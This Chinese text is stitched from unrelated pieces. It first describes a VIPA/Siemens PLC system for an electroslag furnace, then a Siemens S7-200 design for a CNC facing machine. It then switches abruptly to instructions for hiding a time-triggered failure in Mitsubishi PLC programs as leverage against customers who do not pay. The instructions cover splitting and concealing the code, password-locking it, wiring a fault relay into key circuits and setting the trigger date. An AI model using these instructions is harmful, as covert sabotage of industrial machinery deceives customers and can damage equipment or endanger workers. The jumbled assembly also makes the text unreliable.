6ES7231-0HF22-0XA0技术介绍
1 前言 冶金行业中大量使用西门子公司的控制产品。我公司在冶金项目中，逐步引进了和西门子产品完全兼容、高性价比的德国VIPA公司的产品，取得了很好的效果，也提高了我公司在承接项目中的竞争力。
2 系统构成 在某电渣炉PLC控制系统中，我们使用了德国VIPA 公司300S系列的控制系统，其主要配置为： 1） 1个VIPA314-6CG03作为CPU模块； 2） VIPA300S CPU上都带有一个以太网通讯接口，功能相当于CP-343-1EX11，可直接与工控机连接。 3） VIPA 300S CPU上都带有一个可配置的RS485通讯接口，用来和四块厦门宇电的温控表通讯； 4） 由于工艺设计要求PLC I/O模块要分别放在两个导轨上，通过西门子IM365扩充了第二个机架； 5） 1台远程的 Profibus-DP从站，从站选用VIPA 353-1DP01接口模块； 6） 两个旋转编码器直接与CPU上自带的计数器接口连接，用来计算电极的位置。 7） 两台西门子的直流调速器6R7018用来控制慢速电机。 8） 两台ABB的变频器用来控制两臂的旋转。 系统结构方框图如图1所示。
该系统已投入生产一年多，满足设计要求，系统稳定可靠。整个控制系统从控制器到远程站都使用了VIPA公司的PLC产品。 2.1 主控站（机架1）： 选用了VIPA 314-6CG03CPU，它采用VIPA SPEED7技术，是目前基于Step7编程的快的PLC。它与西门子（6ES7 314-6CG03-0AB0V2.0）兼容。但扩充了8 DIO，一个以太网接口模块及一个485PtP接口，而该VIPA型号在带有Profibus-DP接口的还能带有RS485 PtP接口, 特别适合在该项目上的应用。挂接了VIPA 300V系列的开关量输出模块VIPA 322-1BH00两块。其排列如图2所示。 图2 2.22.主控站（机架2）： 通过西门子IM365扩充第二个机架，其它模块选用VIPA模块。由于VIPA的CPU可直接带32个I/O模块，VIPA公司没有西门子IM365类似的产品。本设计由于工艺设计要求I/O模块要分别安装在两个导轨上。排列如图3所示。 2.2Profibus-DP从站（远程I/O站）： 远程I/O采用VIPA公司的VIPA 353-1DP01接口模块，并插入VIPA公司的300V系列的6个模块。其用法和西门子ET200M类似，但要安装VIPA公司提供的专用GSD文件用于Profibus组态，每个远程站多可组32个模块配置如下图： 图4 2.3 编程及组态 采用西门子Step7-V5.3就可以配置及对VIPA的PLC编程，其使用方法与西门子完全一致。硬件配置如图5所示。 |
1、前言
我们都知道，使用传统的普通平头设备的进行工件的平头操作，平头面的光滑度和平面度，会受到刀具的jingque程度以及操作人员的熟练程度等诸多因素的影响。鉴于存在这种问题，我们研制了数控平头机，它可以按照输入的进刀曲线连续工作，始终保持高精度和高效率，从而充分保证平头质量。
2、要求
数控平头机控制要求为：
（1）控制系统应可调整刀头加工；
（2）不同的加工阶段可以选择不同的加工速度和加工深度。
（3）主轴转速应可调节，且范围应宽广；
（4）加工jingque度高，加工材料平面的光滑度要求为Ra≤1.6μm；
（5）定尺尺寸精度：±0.5mm
3、系统的硬件设计
根据系统的控制要求配置硬件如下：
·可编程控制器：1个西门子公司的S7-200系列CPU222PLC；
·人机界面：1个DP210；
·外设：2个步进电动机、2个步进电机驱动器、2个三相电动机、1台变频器、1个EM222、8个电磁开关、4个光电传感器和1个霍尔传感器。系统的硬件结构如图3所示。
3.1系统的I/O点分配
由硬件结构图可知,系统需要5个输入点和14个输出点.CPU222PLC有8个输入点和6个输出点,需要增加一个扩展模块,选用8点输出的数字量扩展模块EM222.输入点是I0.0-I0.7;输出点是Q0.0-Q0.5和Q1.0-Q1.7,分配情况见下表1和表2:
3.2控制器
系统的关键的设备部分是PLC。PLC是以单片机为核心专门用于工业过程自动化控制的电脑器件，具有极高的可靠性和稳定性。本系统选用西门子公司的S7-200系列CPU222PLC作为控制的核心，利用CPU222的2路独立的20KHz的高速脉冲输出来控制步进电动机的运动。此高速脉冲信号不能直接驱动步进电动机，需通过步进电机驱动器将功率放大后才能起作用。5路数字量输入分别与5个传感器相连接，用来判断步进电机的位置、工件的位置、刀头的位置。14路数字量输出中，有6路用来控制步进电机驱动器，8路用来控制电磁阀开关。
PLC本机有一个通讯口，为标准的RS-485借口，在PLC与上位机进行通讯时需将RS-485接口转换成标准的RS-232接口，可以采用四门子提供的隔离型PLC/PPI电缆进行转换。该电缆有拨码开关可以进行设置。在上位几上将控制软件编写好后，通过此线下载程序并监视程序的运行情况。为了降低成本，在程序调试好以后就可以不必用上位机进行操作和控制，而是用简单的操作面板即可。本系统选择是DP210操作面板。
3.3系统的外设
根据系统对刀具加工精度的高要求，选用步进电机来控制加工程序。步进电机可以jingque到一个脉冲，在本系统中一个脉冲的精度是0.005mm。步进电机驱动器用于驱动步进电机,从而控制刀头的动作,完成平头。步进电机驱动器接收到PLC的信号,包括CP步进脉冲信号,DIR方向信号，FREE脱机信号,经过其内部的功放电路和处理电路后输出到后面连接的两相步进电机。步进电机根据信号的编号来产生相应的动作。电磁阀直接接受来自PLC的控制信号产生动作。PLC直接接受传感器的信号,通过内部程序的运算和逻辑判断来决定输出。
变频器用来控制主轴三相电机的转速。本系统中变频器采用基本参数运行模式,由电位器来设定运行频率,变频器的启动和停止由外部端子控制.根据不同工件的特点,通过旋转电位器来改变主轴电机的转速,外部端子的信号由PLC的第12路数字量输出控制。
4、系统的软件设计
系统的软件包括人机交互界面DP210程序和系统的主控程序。DP210程序完成操作人员同PLC之间的对话，主要是各个操作画面之间的相互转换和每个操作画面当中各个按键动作所对应的PLC程序的控制位。程序画面要与生产现场的工作流程相适应，越是前面的画面就越是使用率高的画面。
PLC程序接收到DP210的操作信号后，按照工作要求进行整个刀头工作的控制。主程序的流程图如图4所示。PLC主控程序中的核心控制是对步进电机的控制，启动1#步进电机的程序如图5，控制电机方向的程序如图6。
5、结束语
本文所设计的系统操作简单，加工产品范围广，加工精度高，已经成功应用于生产实践中。该平头机目前已经在某材料生产厂进行规则几何体的平头。自从开始生产以来，该系统运行稳定，产品质量显著提高，废品率明显下降。极大的减轻了操作人员的劳动强度，提高了生产效率，还可以用于其它器件的平头。我们设计一定范围内的刀头尺寸以适应不同工件尺寸的平头动作，且具有可更换功能。
该程序是为设备制造商收取剩余款项而设的筹码，在设备制造商老板有要求时可以使用，仅适用于信誉度不好的客户。该程序一旦触发，无论设备是否处于运行状态、PLC是否处于运行状态或通电状态，指定时间以后将会准时出现故障。请谨慎使用！
该程序应当嵌入应用程序之中，为避免他人识破，可以将程序分成多块分别嵌入在应用程序的各个地方。
为避免他人修改你的程序，应当将整个程序进行加密——设置口令，具体操作方法请参阅程序加密的相关说明。
M490为故障触点，应当串联或并联在程序多个关键动作回路中。
X20为定时触发故障复位端子，要求该端子为没有被使用的端子（否则请更换为另一个没有被使用的端子）。需要解除还没有被触发的故障或已经触发的故障时，将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间，一旦该端子与COM端子断开，故障将在预定时间触发！如果系统当前时间已经过了指定的故障触发时间，一旦该端子与COM端子断开，故障将立即触发！如果需要重新指定故障触发时间，就必须得更改指定的故障触发时间——需要对PLC进行编程！
该程序指定的故障触发时间为2007年1月1日0时0分0秒，可以进行更改。
该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5，请不要在程序的其它地方使用，否则该程序可能无法正常发挥作用。
对于三菱其它系列PLC或其它品牌PLC，请对程序作相应更改——各存储器请按照相应存储区域进行更改。
该程序并没有修改PLC的系统时钟，程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
在程序动作之前，应当检查PLC的系统时钟是否正确反映当前日期和时间（因为PLC的默认系统时钟可能不正确，笔者就遇到过系统时钟快一个小时多一点的情况）。检查方法如下：
启动三菱PLC编程软件GXDeveloperV7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口，将电脑与PLC正确连接（具体连接方法请参阅相关说明
如果PLC的系统时钟不能正确反映当前日期和时间，那就需要对软元件内存进行修改。修改方法为：1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项，更改时间就可以了。但该方法一次性只能更改一回时间，一旦更改后时间就实时跟随了，无法再进行更改。如果需要更改，需要将该窗口关闭后重新打开，再进行时间的更改。2、通过程序的相关指令（例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间，具体指令此处就不再赘述了）。
通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验，证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容，也就是说特殊存储区没被列入“软元件内存”的范围之内！